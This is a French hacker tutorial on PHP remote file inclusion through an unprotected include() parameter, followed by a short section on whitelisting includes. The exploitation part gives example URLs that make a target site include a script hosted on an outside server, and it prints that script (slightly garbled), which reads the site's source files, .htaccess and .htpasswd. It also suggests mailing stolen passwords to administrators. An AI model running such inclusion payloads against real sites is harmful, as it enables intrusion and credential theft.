L' include php
Présentation
Cette faille repose sur l'une des possibilités
qu'offre le PHP : la fonction "include( )".
Celle-ci permet d'inclure une page ou un fichier
au sein d'une page PHP.
Par exemple :
<? include ('http://www.google.com'); ?>
Cette commande aura pour but d'inclure la page
google à l'endroit où on met ce script.
L'url obtenue est généralement de ce type : http://www.site.com/page.php?var=admin.php
Ici, "page.php" est ... la page, elle
contient la fonction et "var" qui se trouve être ... la variable !
admin.php elle, est la page à inclure grâce à
la variable. Tout est clair ?
NON ?
C 'est pourtant simple, lorsqu'on clique sur
le lien, la page admin.php
(c'est un exemple pour ceux qui ne l'aurait pas
compris) est incluse grâce à la variable "var".
Bien, continuons :
Ici l'extension et l'url nous apprennent que
l'accès admin se trouve sur la page admin.php (on s'en doutait) et
que cette page est dans le même répertoire que
"page.php".
Et surtout, on remarque que la variable n'est
PAS protégée.
Si admin.php n'existait pas (lien mort, ...),
nous obtiendrions une erreur de ce style :
" Warning: Failedng 'http://www.site.com'
for inclusion (include_path='le_chemin_spécifique_au_serveur') in page.php on
line 15 (par exemple) "
Exploitation
En effet, le webmaster, novice du PHP, n'a pas
pensé à protéger sa variable.
Pour s'en convaincre, tapons : http://www.site.com/page.php?var=http://www.google.com
Et le célèbre moteur s'affiche en plein milieu
de site.com !
Dans le cas contraire : soit vous avez mal tapé
l'url (Attention, le "http://" est important !)
et vous obtiendrez un erreur, soit vous tombez
sur une 404 ou sur un commentaire moqueur de l'admin.
Bon google est là ? On en déduit que le serveur
peut inclure N'IMPORTE QUOI !!
Alors on va sur Multi, on se créé un compte et
comme nous au moins, nous maîtrisons le PHP :-), on fait un
petit script permettant de voir la source d'un
fichier.php par exemple.
<?
$inF = f$file, "r");
$j="";
while
(!feof($inF)) {
$j=$j.fgets($inF, 4096)."<br>";
}
$j='<font
color="#000000">'.$j.'</font>';
echo $j;
fclose($inF);
?>
On retourne sur notre site et on fait une petite
inclusion de notre script :
http://www.site.com/page.php?var=http://membres.lycos.fr/mon_compte/mon_script.php?file=../index.php
Et là, magnifique ! La source de la page index.php
à la racine du site apparait en clair :)
Cerise sur le gâteau, notre script qui est interprété
par le serveur cible, est tout puissant car appelé par le site lui-même et non
par notre navigateur. Un petit .htaccess vous barre la route, pas de problème,
vous l'incluez et il vous offre le .htpasswd.
La "faille" (si on peut l'appeler ainsi,
car c'est simplement une utilisation naïve des possibilités de la fonction)
vous permet donc l'accès à toutes les ressources du site en navigant dans les
répertoires, y compris ceux protégés.
Ce qu'il faut
faire
Bien ! Vous avez trouvé un serveur sensible,
bravo ! Alors soit vous êtes sympa, vous prévenez l'admin !
Il ne vous répond pas ? Envoyez-lui ses mots
de passe, il réagira !
Dans tout les cas, ne défacez pas le site, ça
sert à rien, et vous ne serez plus un Hacker mais un Crasher !
Sécurisation
Bon ,vous êtes peut être aussi un webmaster en
quête d'infos, alors pour vous, nous allons expliquer comment sécuriser vos
petites pages.
C'est simple, déjà, incluez seulement le nom
des pages, sans l'extension. Celle-ci (si toutes vos pages portent la même extension)
peut-être ajoutée juste avant l'inclusion.
Puis pour parfaire le tout, une commande PHP
bien pratique nous permet de vérifier que le document existe SUR LE SERVEUR
: file_exist( ).
Voilà une possibilité pour sécuriser vos variables
d'inclusion :
Prenons comme exemple une index.php qui inclue
comme ça : index.php?page=rubrique
<?
if ($page == 'rubrique') { include('page.php');
}
elseif ($page == 'rubrique2') { include('page2.php');
}
elseif ($page == 'rubrique3') { include('page3.php');
}
/* etc....*/
else {include ("sommaire.php");
}
?>
Je précise quand même que les liens doivent être
du style :
<a href="page.php?page=rubrique">Rubrique</a>
Shad0w
|